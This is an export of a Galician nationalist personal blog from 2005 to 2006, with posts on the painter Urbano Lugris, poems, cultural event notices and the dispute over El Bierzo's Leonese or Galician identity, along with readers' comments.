Nom admira. Urbano Lugris é, precisamente por ser galego, um desconhecido na Galiza. A potencialidade da sua obra é imensa, tam grande que nem centos de geraçons poderiam esgotá-la. É um enorme jazigo de liberdades, de sonhos, de utopias. Talvez a Galiza nom tenha jazigos de petróleo, esse combustível peganhento que move o mundo capitalista, e que transformado pode até apagar para sempre todas as cores da diversidade, mas sim tem enormes jazigos de cultura ainda por descobrir e por explorar. Urbano Lugris é um deles. Haverá quem pense que esse enorme recurso energético, a cultura, tam necessário, tam imprescindível, para umha naçom é muito menos importante do que ter grandes reservas de petróleo. Mas é umha opiniom errada.
O Pentágono, que nom pudo ser convertido em quadrilátero, mas que actua como tal, também nos bombardeia, diariamente, para evitar que podamos controlar, que podamos gerir, mesmo que podamos descobrir os nossos recursos energético-culturais. Dos seus destacamentos de operaçons especiais, chamados Hollywood, Walt Disney, CNN,... lança mortíferas bombas de cultura empobrecida, em forma de filmes, séries, programas de televisom, informaçom manipulada, modos de comportamento, formas de vida, marcas, modas, pseudocultura,... Nutre-se assim o imperialismo, o monstro. Nutrimo-lo nós, pensando, a força de que nos repitam mil vezes a mentira, que a cultura só pode ser trazida de fora, importada, porque nós nom conseguimos produzi-la, ou a que produzimos é de menor nível, de segunda categoria, de menor valor, prescindível. A dependência cultural, que nós sofremos através da imposiçom espanhola, é a maneira mais rápida de desaparecimento colectivo.
A Santa Paz de Pentágono, expressom com que Urbano Lugris finalizava umha carta a um amigo, está hoje mais presente do que nunca. Também nisto foi um profeta o nosso pintor. Nom viveu a guerra contra o Iraque de 2003, mas viveu outras guerras. Urbano Lugris é incompatível com o piche, mas também é incompatível com o massacre imperialista. Nestes dias de hoje, em que até pensar pode ser um delito, em que exercer a liberdade de expressom pode ser motivo de multa e mesmo de prisom, em que pode ser declarada ilegal a procura da liberdade, a obra de Urbano apresenta-se perante nós como o que é: umha chamada urgente para construir um outro mundo. Um mundo cheio de vida, de cor, longe do negro destino que o capitalismo nos tem preparado e que o Prestige nos adiantou. Os mares de Urbano, o seus mundos marinhos, continuam a ser tam necessários como respirar.
Igor Lugris
Cabanas Raras, Berzo, Galiza
Maio de 2003
Levo tempo (e tempo, e tempo...) querendo traer para o blog um artigo sobre Urbano Lugris, o filho de Lugris Freire -a quem a (sub)Real(ista) Academia Galega lhe dedica este ano o Dia das Letras Galegas-, que escrevim no número 11 do Novas da Galiza, mas nom o consigo.
Por agora, o que conseguim fazer é pôr no blog a ligaçom onde poderedes aceder ao formato pdf desse número do NGZ completo, e onde, na sua página 12 poderedes ver esse mencionado texto, intitulado "A Santa Paz do Pentágono".
Se algum dia consigo, com os meus escasos conhecimentos, copiar o artigo e colá-lo no blog, já vos aviserei ; )
----- -------- AUTHOR: Lugris TITLE: Ao som dum hino alheio BASENAME: ao_som_dum_hino_alheio DATE: Wed, 15 Feb 2006 14:51:23 +0000 STATUS: publish PRIMARY CATEGORY: Catecismo CATEGORY: Escrever nom é mau TAGS: ----- BODY:
Escrevim este poema (tal e como aparece datado) em Abril de 1995...Já choveu.
Hoje quero que apareza no blog como mostra de apoio e solidariedade com a Íria, o Abraam e o Alberte, e aproveitar para chamar a participar nos actos de protesto.
Ao som dum hino alheio
Caminhei sobre as águas quando nom sabia que fazer
Multipliquei o pam e os peixes porque tinhamos fame
Ressucitei um morto porque era um bom amigo
e para nom ter que morrer eu mesmo
Evitei que a umha mulher lhe tiraram pedras
porque eu também pecara
Anunciei a destruiçom do templo pois em verdade ia ser destruido
Andavam alguns comigo porque eu nom tinha com quem andar
E quando quixérom crucificar-me escapei porque tinha medo
E agora
dous mil anos despois
alguém pretende levar-me à cadeia
por nom desfilar ao som dum hino alheio
(Abril de 1995)
Eu também me chamo CHENDE!
----- COMMENT: AUTHOR: XENDE [Visitante] DATE: Mon, 15 Jan 2007 17:32:32 +0000 URL:EU TAMEN CHAMOME XENDE. DESDE MADRID
----- COMMENT: AUTHOR: XENDE [Visitante] DATE: Mon, 15 Jan 2007 17:30:47 +0000 URL:yo tambien me llamo xende.desde MADRID
----- COMMENT: AUTHOR: XENDE [Visitante] DATE: Mon, 15 Jan 2007 17:28:50 +0000 URL:yo tambien veo que no soy el unico xende,somos mas
----- COMMENT: AUTHOR: xende [Visitante] DATE: Mon, 18 Sep 2006 13:24:34 +0000 URL:pensei que o meu nome era unico pero xa vexo que non, parabens polo rapaz
----- COMMENT: AUTHOR: sarai [Visitante] DATE: Mon, 20 Feb 2006 17:58:03 +0000 URL:é o sobrinho mais lindo que tenho!!
----- COMMENT: AUTHOR: Máuri [Visitante] DATE: Mon, 20 Feb 2006 15:55:17 +0000 URL:Muitos parabéns, Noélia e Igor.
Máuri.
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 15 Feb 2006 15:19:31 +0000 URL:Obrigado : )
Da minha parte, e por suposto também de parte de Noélia e do próprio Xende.
PD/ E, ademais, muito obrigado por ler este blog. Depois de tanto tempo paralisado, resulta increível que ainda haja gente que visite este bar.
----- COMMENT: AUTHOR: mariademallou [Visitante] DATE: Tue, 14 Feb 2006 01:23:43 +0000 URL: http://casatlantica.blogspot.comai que lindo!!!! que boa nova!!! parabéns!
----- COMMENT: AUTHOR: xavi [Membro] DATE: Mon, 13 Feb 2006 14:21:37 +0000 URL: http://mariacastanha.agal-gz.orgOooh :D Muitíssimos parabéns.
----- -------- AUTHOR: Lugris TITLE: Quico Cadaval em Ponfe, e em galego! BASENAME: quico_cadaval_em_ponfe_e_em_galego DATE: Sun, 12 Feb 2006 16:23:20 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Cópio cá a informaçom que aparece no PGL sobre a presência de Quico Cadaval em Ponferrada esta terça-feira 14 de Fevereiro.
O profe da EOI de Ponferrada, enviou-me a informaçom sobre as jornadas de teatro que organiza a Escola, e eu remesei essa informaçom a vários contactos, e algum deles colou essa informaçom no PGL, e eu agora colo essa notícia no meu blog. Isto é um círculo ; )
Por suposto, recomendo, vivamente, a assistência.
O artista galego participará num ciclo de teatro da Escola Oficial de Idiomas de Ponferrada
PGL.- O galeguismo do Berzo está de parabéns. O dramaturgo galego Quico Cadaval encenará no próximo dia 14, em Ponferrada, um dos seus célebres monólogos, e fará-o como corresponde: em galego.
Dentro do ciclo de teatro da Escola Oficial de Idiomas de Ponferrada, Lenguas a Escena, o dramaturgo galego encenará o seu monólogo «Fantasmas Familiares», um repertório de histórias sobrenaturais em que se demonstra como na cultura galega o mundo do além nom é tam dificultoso nem traumático.
Quico Cadaval é actor, director e adaptador teatral, tendo participado em múltiplas produçons da Televisom Galega, bem como múltiplas curtamentragens e longametragens. Ainda que para os galegos e galegas é já bem conhecido por ser, entre outra cousas, um dos principais impulsores do movimento de conta-contos que surgiu na Galiza na década de 90, diremos ainda, para o reconhecerem os nossos leitores portugueses, que ele foi o professor de interpretaçom no programa televisivo "Operação Trunfo" na temporada de 2003.
A representaçom terá lugar no teatro Bergidum, às 21:00, e o preço da entrada será apenas 3?.
----- -------- AUTHOR: Lugris TITLE: Só morrem os pobres BASENAME: so_morrem_os_pobres DATE: Sun, 12 Feb 2006 09:59:20 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:"As revoluçon nom se figerom nunca com poemas, mas a solidariedade é um dever". Leopoldo de Luís (1918-2005)
Nada há mais fácil que
morrer
leo numha revista dominical
dessas a toda cor e cheia de
artigos de pessoas que
escrevem artigos
sabendo bem que
para eles
nada há mais fácil que
cobrar
umha boa nómina a
fim de mês
e que vivem tam
bem que
pensam que morrer
só morrem os pobres
os esquecidos os oprimidos
Os outros
Quem me conhece já sabe que ultimamente ando muito liado com ocupaçons bem importantes e com nome próprio. Ando na procura dum pouco de tempo para poder falar com calma no blogue sobre muitas cousas, mas por agora nom consigo.
Entro hoje só um momento para recomendar a leitura dum artigo no Diário de León de hoje: "Leonesistas de ficción", de Aquilino Poncelas Abella, autor de quando menos um par de livros de recopilaçom de literatura oral e popular da regiom do Berzo, o último deles intitulado "Contos e Lendas do Berzo. Cuentos y leyendas del Bierzo", publicado polo Instituto de Estudos Bercianos (com o apoio da Junta da Galiza, a Junta de Castela e Leom, o Instituto Leonês de Cultura, Caja Espanha, o Conselho Comarcal do Berzo e o Concelho de Ponferrada). O anterior foi "Estorias e contos dos Ancares. Historias y cuentos de los Ancares". Editado polo Grupo Cultural Carocos de Ponferrada em 1987.
Umha leitura muito recomendável.
----- COMMENT: AUTHOR: xavi [Membro] DATE: Fri, 10 Feb 2006 10:26:34 +0000 URL: http://mariacastanha.agal-gz.orgMuito bom, gostei muito :) E o título do seu livro vai com “Berzo", como pugeche no post?
----- -------- AUTHOR: Lugris TITLE: De ilusos e rockers BASENAME: de_ilusos_e_rockers DATE: Thu, 22 Dec 2005 17:03:10 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:"Un alcalde del Bierzo llama al BNG «iluso» por su afán expansionista"
O titular do ABC é muito bom, e a notícia nom tem desperdício. Mais que nada por que Estanga, alcaide de Oencia, defendia estas cousas (a anexom do Berzo, ou quando menos do seu concelho, à CAG) mais ou menos publicamente nos últimos anos. Que mudou? O Presidente da "Xunta", que agora é do PSOE, e antes era o seu amadíssimo lider, Manuel Fraga. Se tedes curiosidade por ver umha foto dele, nom tedes mais que ir às hemerotecas e procurar as fotos das celebraçons da vitória do PP e Fraga na mesma noite das eleiçons. Está em todas!
«Concretamente, en el Ayuntamiento de Oencia vamos a seguir el curso del río abajo, no al revés. El río Telmo, que pasa por Oencia, nace en Galicia y luego, dentro de El Bierzo, va al río Sil. Seguiremos tal cual», di o ABC que di o alcaide. A ver se é que nom se decatou de que o Sil "vai" ao Minho, e este percorre a geografia galega até chegar ao mar. Ou a ver se é que a frase tem retranca e quem nom se deu conta do que realmente dizia é o ABC, porque seguindo o curso do Selmo, que nasce na CAG, aonde chegas, aonde tornas é, definitivamente, a Galiza. Sem mais!
----- -------- AUTHOR: Lugris TITLE: "Polémica territorial" BASENAME: polemica_territorial DATE: Thu, 22 Dec 2005 16:51:50 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Assim intitula "La Voz" a sua reportagem de hoje sobre o Berzo e a polémica criada nos últimos dias, últimas semanas, a partir da apresentaçom por parte do BNG da sua proposta de novo Estatuto de Autonomia da Comunidade Autónoma Galega.
Por problemas técnicos que já comentei há uns dias, nom puidem seguir esta polémica, por momentos interesante e por momentos aburrida, mas intentarei nas próximas semanas ir recopilando o que de mais interesante, ao meu ver, foi aparecendo na imprensa.
Com os autores, o jornalista gráfico e o jornalista escritor, Rodri Garcia e Vitor Mejuto, falei, por casualidade, nos dias que estiverom polo Berzo. Casualmente, nesta segunda-feira passada aparecerom polo bar no que trabalho duas pessoas, para tomar uns cafés de meia tarde, que resultarom ser eles. À noite, voltarom, e seguimos a falar do tema. Deu-me a impresom de que, como soe ser habitual, tinham um desconhecimento bastante grande da realidade diária e cotiam do Berzo, ainda que, como nom soe ser habitual, tinham interese por conhecé-la. Sei que falarom com muita gente, e ainda que a reportagem nom é essa da que um mais gostaria, quando menos dí cousas interesantes e fai umha digna apresentaçom da situaçom. Nom é pouco com os tempos que correm.
De todas formas, cousas assim faram que o Grupo Voz, proprietário também do Diario de Leom, sufra de esquizofrénia (ao igual que S. Agostinho, que dizia aquilo de que "eu som dous e estou em cada um de esses dous por completo), pois o seguimento e tratamento que este periódico realizou de todo este tema foi bem, bem distinto. Melhor seria para todos/as que La Voz recuperará a sua ediçom para o Berzo e Valdeorras, e distribuirá o Diário de Leom além do Mançanal.
----- -------- AUTHOR: Lugris TITLE: Umha pouca poesia? BASENAME: umha_pouca_poesia DATE: Wed, 21 Dec 2005 15:38:58 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Se alguem anda por Ponferrada hoje (lamento nom ter podido avisar antes), pode passar pola Jornada de Portas Abertas do Conselho da Juventude, e, entre outras cousas, ouvir umha pouca poesia.
----- -------- AUTHOR: Lugris TITLE: "Asturianias" sem comentários BASENAME: asturianias_sem_comentarios DATE: Wed, 21 Dec 2005 15:21:34 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: TAGS: ----- BODY:1.- Nosotros tenemos un idioma que es el español, castellano o como quieran denominarlo, y tenemos también el bable, cuyo uso y promoción pretendemos promover».
(Vicente Álvarez Areces, Presidente de Asturias, La Nueva España, 15-12-2005).
2.- En segundo lugar, la «inicial» pretensión gallega es también inaceptable al proponer la oficialidad de la lengua gallega en Asturias, porque, en primer lugar, no existe el gallego de Asturias, sino la fala o gallego-asturiano, que es la lengua de los asturianos entre los ríos Eo y Navia, y también porque la autoridad lingüística y política corresponde a las instituciones y Gobierno de Asturias.
(Francisco Javier García Valledor, Consejero de Justicia, La Nueva España, 14-12-2005).
3.- Si les preguntamos a los de Taramundi, San Tirso de Abres o Vegadeo, que viven con normalidad su "fala".
(María Jesús Álvarez, Presidenta de la Junta General del Principado, La Nueva España, 14-12-2005).
4.- Respecto a la cuestión lingüística, el presidente asturiano subrayó que la ´fala´ de la comarca occidental está reconocida como una de la variantes del bable y así lo asumen también los habitantes de esos municipios "que nunca se han planteado modificar ese estatus", asumido "con normalidad" dentro de unas "excelentes" convivencia y relación institucional con Galicia.
(Vicente Álvarez Areces, Presidente de Asturias, 13-12-2005).
a igor mira el bable es unas cuantas palabras del castellano antiguo o sea es como un cocido donde hay de todo y donde hay de todo no es nada ni tan siquiera es un dialecto.Que tú quieras españolizar un sitio donde no vives ya lo hicisteis en sudamerica con los indios y mismos argumentos.nosotros a tu
idioma es castejano,tú cultura los toros
y tú marisco las fabis
a igor mira el bable es unas cuantas palabras del castellano antiguo o sea es como un cocido donde hay de todo y donde hay de todo no es nada ni tan siquiera es un dialecto.Que tú quieras españolizar un sitio donde no vives ya lo hicisteis en sudamerica con los indios y mismos argumentos.nosotros a tu
idioma es castejano,tú cultura los toros
y tú marisco las fabis
Ao que chegou Tiním… A mentira é a practica do seu quefazer…Quando se salta a taranqueira, despois todo é válido. E temo-la dificil, com o “torito” galego, pois é da escola do Tiním
----- -------- AUTHOR: Lugris TITLE: Siguem a passar de nós. Isso está bem BASENAME: siguem_a_passar_de_nos_isso_esta_bem DATE: Wed, 30 Nov 2005 18:31:19 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Só umhas letras rápidas para comentar que siguem a passar de nós, siguem a passar do Berzo. Apresentam a sua "folha de rota" (ou folha de derrota?), e nom fam nem umha só mençom ao Berzo nem, por suposto, à língua e à cultura galega.
Asumem que isto nom é Leom? Nom. Asumem que som uns imperialistas. Uns tristes imperialistas, que, como os de Castelao, também fracasaram. Mais tarde ou mais cedo.
Que consigam toda a "birregionalidade" que queram, mas que deixem ao Berzo construir livremente o seu futuro. As suas mentiras históricas, e histéricas, nom atopam eco na nossa regiom berziana.
O meu apoio incondicional ao galego estremeiro e as culturas que o sustentaron! Un blog caralludo, por certo, vouche poñer unha ligazón
----- -------- AUTHOR: Lugris TITLE: Maricarmen Lugris: Arte de calceta BASENAME: maricarmen_lugris_arte_de_calceta DATE: Wed, 30 Nov 2005 18:23:43 +0000 STATUS: publish PRIMARY CATEGORY: Maricarmen Lugris CATEGORY: Lugris TAGS: ----- BODY:Há bem de dias que abrim a sub-categoria "Maricarmen Lugris", dentro da categoria "Lugris", mas os problemas dos que falava no comentário anterior impedirom-me enché-la de conteudo. Hoje, com pouco tempo e muito orgulho, traio para cá esta ligaçom, junto com esta outra recomendando umha visita a esta exposiçom com a que poder lembrar e/ou conhecer o trabalho dumha pessoa excepcional.
Esteja onde esteja, ainda está com nós. Com nós está o seu trabalho, a sua arte, a sua calceta, palavra que é pequena de mais para explicar e conter a arte que ela trabalhava, que ela criava.
Levo tanto tempo sem escrever no blogue, que mais de um ou umha pensariam que isto já estava morto. Pois nom! O que está morto, se algum deus das novas tecnologias nom o remédia, é o meu computador, que parece que decidiu boicotar o meu contacto com a rede...
Para alem disto, a minha condiçom de pluriempregado (um trabalho de manham, outro trabalho na tarde-noite), tem-me impedido mesmo achegar-me a um ciber para actualizar este modesto blog de operário. Hoje, só queria vir cá para dizer que sigo vivo, e que no Berzo seguimos recebindo visitas de Ovnis que sobrevoam as nossas isoglossas, ainda que eu nom poda contá-lo.
Veremos se com o passo do tempo, podo novamente recuperar as minhas relaçons com a rede...
Saúdos
O outro día comenchateábamos co meu irmán que este mundo non é para nós. Está deseñado para que nos machaquen vivos e nós deixámonos en aras da supervivencia (ás veces máis “súper” do mínimo indispensábel pero aí está a nosa capacidade infinita de crearnos necesidades (im)prescindíbeis). Pero, por riba, algúns temos a ocorrencia revolucionaria de querer facer cousas fóra do traballo que non son nin alimentar o corpo nin durmir.
El engadiu que este mundo non é así, pero nolo teñen secuestrado.
Ten razón.
Unha aperta grande, Igor. Que o mundo non te devore.
Eu sígoche debendo unha visita. Pero é que non sería un OVNI no Berzo. Sería a fin do mundo, a estas alturas…
----- -------- AUTHOR: Lugris TITLE: O Berzo será o que o Berzo queira ser BASENAME: o_berzo_sera_o_que_o_berzo_queira_ser DATE: Wed, 28 Sep 2005 10:01:38 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:O Diario de León publica hoje a resposta ao artigo que os leonesistas da "Plataforma Pro Identidad Leonesa" publicaram no dia 14 de Setembro, como resposta, à sua vez, ao artigo colectivo "Tira por ela Galiza, mas Castela nom a solta", publicado polo Diário o dia 1 de Setembro.
A continuaçom reproduzo o artigo em espanhol, enviado unicamente ao Diário, por ser esse meio o que publicara a resposta dos leonesistas, tal e como aparece. Hoje nom podo, por problemas técnicos com o meu computador, reproduzir o artigo em galego. Aguardo poder fazê-lo manham ou passado.
El Bierzo será lo que el Bierzo quiera ser
ROBERTO GARCÍA, IGOR LUGRÍS Y 34 FIRMAS
UNA ASOCIACIÓN denominada Plataforma Pro Identidad Leonesa, de actividad completamente desconocida en el Bierzo, pretende responder el miércoles 14 de septiembre al artículo «Tira por ela Galiza mas Castela nom a solta», firmado por 34 personas, bercianas y bercianos, aparecido el 1 de septiembre en el Diario de León, sección del Bierzo. Y decimos pretende responder por que lo que en verdad hace es tomar como excusa la publicación de aquel artículo para hacer propaganda de sus ideas y objetivos. Ya para empezar titula dicha plataforma su artículo con un enunciado más que discutible y discutido: «El Bierzo es leonés». Bien sabe su autor (o autores) que si ese enunciado fuera completamente cierto y no estuviera puesto en cuestión a diario en nuestra región berciana, sería innecesario titular así su artículo.
Cualquier berciano, cualquier berciana, cualquier observador/a de la realidad, sabe que la «leonesidad» o el «leonesismo» del Bierzo es muy, muy discutible. Sabe bien esa Plataforma Pro Identidad Leonesa que el «leonesismo» no goza de grandes apoyos y simpatías en el Bierzo. Así es en el presente y asi fue en el pasado. La identidad leonesa de los habitantes de la región del Bierzo poco más es que una identidad administrativa (forzada y obligada, no decidida ni libremente admitida), y que pocas son las personas del Bierzo, de Canteixeira a Torre , de Candín a Priaranza, que al ser preguntadas por su origen digan «soy leonés/a». Su respuesta siempre es: «Soy berciano/a». En pocos sitios la identidad leonesa será más frágil que en el Bierzo.
En su artículo de respuesta, la Plataforma realiza una más que sorprendente lectura histórica del Bierzo, para acomodar la realidad a su particular visión de la situación actual (que ellos pretenden similar a la situación de León, sea provincia o, como ellos reivindican, «reino»). No es nuestra intención responder con los innumerables datos históricos que demuestran que las nuestras no son (como ellos las califican) «reivindicaciones sin fundamento disfrazadas de legitimidad histórica». Los numerosos mapas de Galiza (que también fue reino y actualmente nación), que a lo largo de los siglos incluian el Bierzo, o gran parte del mismo como territorio gallego (el de Hernando Ojea de 1598, el de 1608, el de 1632, la Carta Geográfica de Domingos Fontán de 1834..., o en épocas más actuales: el mapa de Regiones comerciales del Estado, editado en 1963 por el Anuario del Mercado español, etc...), la propuesta de división administrativa de 1821 que incluía al Bierzo en Galiza, o los innumerables pronunciamientos durante el siglo XX de ayuntamientos y autoridades bercianas amenazando con iniciar los trámites para la anexión a la Comunidade Autónoma Galega, asi como la presencia de numerosas personalidades bercianas a lo largo de la historia reivindicando la provincia del Bierzo y/o la anexión de la misma al resto de Galiza: todos estos son argumentos que demuestran algunas de las tesis que el artículo que originó estas respuestas defendía: la legitimidad de la petición de anexión del Bierzo a la Comunidade Galega, si así lo decide una mayoría de la población berciana.
Por que lo quiera reconocer o no la Plataforma Pro Identidad Leonesa, en el Bierzo existe un conflicto histórico no resuelto, que está relacionado con la propia identidad del Bierzo. Y ese conflicto no se resuelve negándolo, silenciándolo o tergiversándolo. En todo caso, el Bierzo será, nada más y nada menos, que lo que el Bierzo quiera ser, lo que sus habitantes, hombres y mujeres, quieran que sea. Así debe ser sí realmente vivimos en libertad y podemos decidir nuestro futuro. Remontarse mil años atrás para, con unos cuantos datos escogidos, demostrar la supuesta legitimidad de una situación injusta, no es en modo alguno admisible. En pleno siglo XXI, no parece probable que nadie vaya a querer compartir la idea de un reino (sea leonés o astur-leonés) para construir estructuras de libertad, igualdad y fraternidad.
Como bercianos, como bercianas, no tenemos ningún interés en decirles a los leoneses lo que tienen que hacer o dejar de hacer, lo que tienen que defender o dejar de defender, ni lo que tienen que decir o dejar de decir. Por eso tampoco aceptamos que desde León, o desde Valladolid, se nos diga lo que tenemos que hacer, defender o dejar de defender, y decir o dejar de decir. Seremos lo que querramos ser. Haremos lo que querramos hacer. No nos quedaremos inmóviles ante la pretensión de negar, con un eslogan hueco como «El Bierzo es leonés» y una triste soflama como que «el Bierzo lleva mas de mil años siendo leonés», la capacidad de los bercianos para decidir y construir nuestro futuro, ignorando la voluntad de toda esta región. El Bierzo será lo que el Bierzo quiera ser. Y esa era otra de las propuestas defendidas en el artículo publicado el dia 1 de septiembre, y sobre la que no se pronuncia la Plataforma leonesista: la necesidad de seguir avanzando en el reconocimiento político y administrativo del Bierzo, dotando de más competencias y autonomia al Consejo Comarcal, al tiempo que se avanza en su democratización y representatividad de la voluntad popular. Salud y Bierzo ceive!
----- COMMENT: AUTHOR: Subiau berciano [Visitante] DATE: Thu, 12 Mar 2015 20:57:24 +0000 URL:Soy berciano, y me presta asgaya Galiza y empatizo con ella, pero me siento de León como fue siempre. Quiero un León separado de Castilla, y El Bierzo como una provincia leonesa en la que se respete nuestra identidad de tierra fronteriza. Con Galicia nunca, no quiero que seamos un rincón miserable y dejado de la mano de Dios. Ata loguiño.
----- COMMENT: AUTHOR: ANXEL [Visitante] DATE: Sat, 28 Oct 2006 12:30:50 +0000 URL: http://WWW.IUB.ESAUTONOMIA PRA O BIERZO.
A o consello Comarcal do Bierzo lle diron de presuposto 5000 euros,PUTOS CASTELLANOSLEONESES.
AUTONOMIA XA.
e como decia un perigrino facendo o camiño:En tiempos de Felipe II, Bartolome de Villalba y Estaña escribe un relato de viajes llamado “el peregrino curioso", llegando a Villafranca afirma:
“Tiene esta Villa buena vega, aunque ya está en Galicia, donde falta pulícia y sobra malicia".
Xa dava conta de como e o castelan.
O Marechal Pero Pardo de Cela Aguiar e Ribadeneyra” (o bretoñés defensor da soberanía do Reino de Galicia) naceu en Castro d?Ouro. Era fillo dunha das máis nobres linaxes do Reino de Galicia, os Señores de Cela e de Violante de Aguiar. Intimo amigo dos Condes de Monterrei e de Lemos, casou con Dona Isabel de Castro, filla da Condesa Beatriz e de Don Pedro de Osorio, vencellándose así cos poderosos Condes de Lemos e con outras importantes linaxes do Reino de Galicia.
Los castillos de Ponferrada, Cornatel y Corullón pasaron a manos de los Condes de Lemos por herencia, en el siglo XV.
Tralo 17 decembro 1483 caeron en mans do Reino de Castela outros nobres galegos leais á soberanía de Galicia, moitos deles vasalos do Marechal, ata terminar co sitio de Ponferrada, a última cidade galega en resisti-los exércitos dos Reyes Católicos. Aquela data marca o comezo da decadencia e depresión do Reino de Galicia, a perda da súa soberanía como nación próspera, comercial e influinte en Europa, e inicio dunha persistente colonización económica, emigración e censura cultural.
ALGUNS NON SABEN ONDE NACERON
oeULA, como cho diria,eu non teño a culpa de que naceras no bierzo e unha condea que so vos corresponde a vos soportar en canto a esa canle comparable se cabe coa castelan , pois que queres que che diga muller, xa botan bastante merda desde castelaleon sen ademais ter que suportar en castelan, que alguns non saben onde naceron, querida sabuxa!
ALGUNS NON SABEN ONDE NACERON,QUERIDA SABUXA
el berciano es bilingue,mientras que los
castellanosleoneses son monolingues y cuando se establecieron en el bierzo abandonando la meseta desertica nunca
se integraron siguen hablando castellano
y castellanizando los topónimos galegos-bercianos apoyados por los castellanosleoneses que tienen la secursal en valladolid,es una gente que nunca se integra ,la falta de cultura es palpable a cualquier sitio en cataluña, estan toda la vida y nunca hablan catalan ni tan siquiera lo entienden.
----- COMMENT: AUTHOR: ANXEL [Visitante] DATE: Sun, 20 Aug 2006 14:51:52 +0000 URL: http://WWW.IUB.ES
PLATAFORMA,LLIONES QUE SI PROVIANCIA,
QUE SI ASTURLEONES,EL BABLE,EL PIXUETO,
EL MIRANDES,CUANTOS FUEGOS DE ARTIFICIO
CON EL FONDO DE DIVIDIR PARA VENCER.
ESTOS ESPAÑOLES SI ESTUVIESEN EN SUIZA QUE TIENE 3 LENGUAS HARIAN IGUAL,SEMBRARIAN EL MALESTAR.
BUENO PERO ESTAN AQUI POR DESGRACIA Y A VECES SE HACEN LOS TOLERANTES,CLARO PERO
EL GALEGO SI,PERO QUE NO SE LO IMPONGAN,
CLARO QUIEREN DECIR QUE NO ESTUDIE EN LOS COLEGIOS PARA QUE SE PIERDA.
TODOS LOS LEONESES DEL BIERZO HABLAN LLIONES.
PARA EL PROXIMO CURSO LOS LIBROS ESTARAN EN LLIONES,EL IDIOMA IRTERNACIONAL.
“el modelo social leonés".
Estas som as cousas que dam para umha, ou duas, Teses de Doutoramento.
Em psiquiatria, por suposto.
SOY DEL BIERZO Y TODA MI FAMILIA HABLA GALEGO,CASI TODOS LOS PUEBLOS ESTAN EN GALEGO,EN EL BIERZO AL QUE NEGABA QUE ERA GALEGO SE DICE QUE ES KAZURRO=malicioso, reservado y de pocas palabras Y Torpe, lento en comprender,O SEA TONTO,COSA QUE YO NO COMPARTO.
PA MÍ LEON ES UNA PROVINCIA DE CASTILLA,CON CULTURA CASTELLANA.LENGUA CASTELLANA.
Un gran artículo sobre el Bierzo y sus tópicos:
http://www.diariodeleon.es/inicio/noticia.jsp?CAT=108&TEXTO=5001485
Soy leonés del Bierzo. Todos mis antepasados hablaron leonés, se organizaron segun el modelo social leonés. y lo sé porque es lo que ha quedado y permanecido con el paso del tiempo. No tengo nada que ver con galicia y jamás mi familia ha hablado en gallego.Parece que en ponferrada es lo que se quiere imponer, queda bonito sentirse más cercano de lo gallego para enfrentarse a la capitalidad de la ciudad de León. Efectivamente, Bierzo libre, pero de estos personajes que se creen nacionalistas gallegos.. que pena, penita pena. lo que hace la incultura…
----- COMMENT: AUTHOR: Berciano [Visitante] DATE: Mon, 10 Oct 2005 17:05:54 +0000 URL:Todos sabemos que en origen el Bierzo es tan sólo el Bierzo bajo, aunque luego se extendió la denominación a toda la región. Esto nunca significó que el resto de los valles (Sil, Bueza, cuenca de Fabero, Furniella, Valdueza, etc.) perdieran su identidad diferenciada de la del Bierzo bajo y de la del Bierzo oeste (Somoza, Aguiar, Valcárcel).
A pesar de ello se ha impuesto tanto la identidad del Bierzo bajo al resto de la región y las gentes del resto de los valles no levantan la voz, que hay personas capaces de decir lo que esta dice, que además se lo cree, como habrá personas que lo creerán. De hecho lo creen así, hay demasiados.
Obviamente este hombre es (y los que piensan como él son) unos ignorantes (o inorantes como decimos en el Bierzo) sobre todo al decir que nunca oyó a nadie decir en el Bierzo que son leoneses. Vamos, que yo oigo lo que no quiero oir y además yo me siento leonés porque extrañas fuerzas venidas desde más allá del Manzanal me han abducido.
Si supiese lo que es el Bierzo, sabría que en esos valles que nombré antes a los gallegos se les tenía por gente inferior (cosa que yo no apruebo) y a las gentes del Bierzo bajo y oeste casi por el estilo (tampoco lo apruebo). Esto tiene como fondo la identidad que estas personas tenían y tienen, como bercianos y además leoneses (ellos así lo afirman) con la cual pretendían y pretenden además desligarse de una identidad de “gallegos mesetarios” que se les pretende imponer y que no aceptan.
Por cousas.tk inteiramo-nos do programa de actos a celebrar manham, 17 de Setembro, em Vila Franca do Berzo como apoio à Candidatura do Património Imaterial Galego-Português para ser declarado "Património da Humanidade" pola UNESCO.
O programa de actos é o seguinte:
-Acto de inauguraçom. 12'00h. Teatro Vilafranquino.
· Apresentaçom da Candidatura.
· Relatório dos novos apoios à Candidatura.
· A tradiçom oral no Berzo e as Portelas.
-Ofícios e artesanias tradicionais:
Praça Maior de Vila Franca do Berzo, entre as 13'00h. e as 14'00h. e entre as 18'00h. e as 20'00h.
-Jogos tradicionais:
Na Alamedas, entre as 17'00h. e as 19'30h.
-Acto de clausura:
Teatro Vilafranquino. 20'00h.
· Declaraçons institucionais de alcaides, Presidente do Conselho Comarcal do Berzo, Procurador por Zamora nas Cortes de Castela e Leom, Conselharias da Junta de Galiza e da Junta de Castela e Leom.
· A relaçom Berzo-Valdeorras, com a presença do Instituto de Estudos Valdeorreses.
· O Património Lírico Musical: recital de poesia com o escritor Anxo Angueira e a Escola de Gaitas de Vila Franca do Berzo, e a associaçom Abertal, da Rúa de Valdeorras.
Obrigas laborais impediram-me estar presente em Vila Franca, mas animo a todas as pessoas que podam a deslocar-se a esta vila berziana para participar destes importantes actos, nos que o Berzo se unira à campanha de apoio a esta importante iniciativa.
